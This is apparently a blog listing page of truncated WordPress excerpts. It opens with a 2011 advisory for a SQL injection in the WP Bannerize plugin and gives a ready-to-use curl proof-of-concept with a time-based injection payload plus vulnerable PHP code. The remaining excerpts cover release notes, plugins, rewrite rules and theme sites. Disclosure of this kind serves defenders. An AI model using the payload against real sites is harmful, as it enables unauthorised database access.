# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.7 (tested)
 
—————
PoC (POST data)
—————
http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
e.g.
curl –data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 
—————
Vulnerable code
—————
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    …
    $limit = intval($_POST['limit']);
    $page_offset = (intval($_POST['offset']) – 1) *

… Read the rest

• Various security hardening by Alexander Concha.
• Taxonomy query hardening by John Lamansky.
• Prevent sniffing out user names of non-authors by using canonical redirects. Props Verónica Valeros.
• Media security fixes by Richard Lundeen of Microsoft, Jesse Ou of Microsoft, and Microsoft Vulnerability Research.
• Improves file upload security on hosts with dangerous security settings.
• Cleans up old WordPress import files if the import does not finish.
• Introduce

… Read the rest

1. Install an extended version of TinyMCE

This is one of the first things I realize that the person who will maintain the website is not internet-saavy. To avoid annoying… Read the rest

SEO Smart Links can automatically link keywords and phrases in your posts and comments with corresponding posts, pages, categories and tags on your blog.

Further SEO Smart links allows you to set up your own keywords and set of matching URLs. Finally SEO Smart links allows you to set nofollow attribute and open links in new window.

It is a perfect solution to get your blog posts interlinked or add affiliate links to other sites.

Everything happens completely transparent, and… Read the rest

chown daemon:daemon .htaccess

Unfortunately this resulted in a 500 Interal Server Error. Looking at… Read the rest

We fixed this problem last night and have been testing the fixes and looking for other problems since then. Version 2.8.4 which fixes all known problems is now… Read the rest

.htaccess file:
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

Fllow is my nginx’s rewrite rule for wordpress:
location / {
index index.php index.html;
if (!-e $request_filename)
{
rewrite ^/(.+)$ /index.php?p=$1 last;
}
}

The release date for WordPress 2.8 has almost been confirmed, according to the latest blog post on the WordPress development blog, the target date for releasing WordPress 2.8 is June 10th.

However this is only a target date and may not end up as being the release date in the end, however it would be good to see it released soon, considering the good number of features it has.… Read the rest

Related Links:

• Plugin Homepage
• Changelog
• Plugin and sitemaps FAQ
• Support Forum

Download Url
http://downloads.wordpress.org/plugin/google-sitemap-generator.3.1.2.zip

Install:

… Read the rest

WordPress Official Website.  There are more than 500 templates,and more than more than 2,136,215 downloads
http://wordpress.org/extend/themes/

There are more than 1000 templates.  Here you can find it what you want.
http://www.wpthemes360.com/

There are more than 140 wp templates.  The number is not many,but there are many beautiful templates.
http://wordpressthemesbase.com/

There are all kinds of wordpress templates to choose from and they are all for free to download.
Free WordPress Theme Site started in 2008 as a resource… Read the rest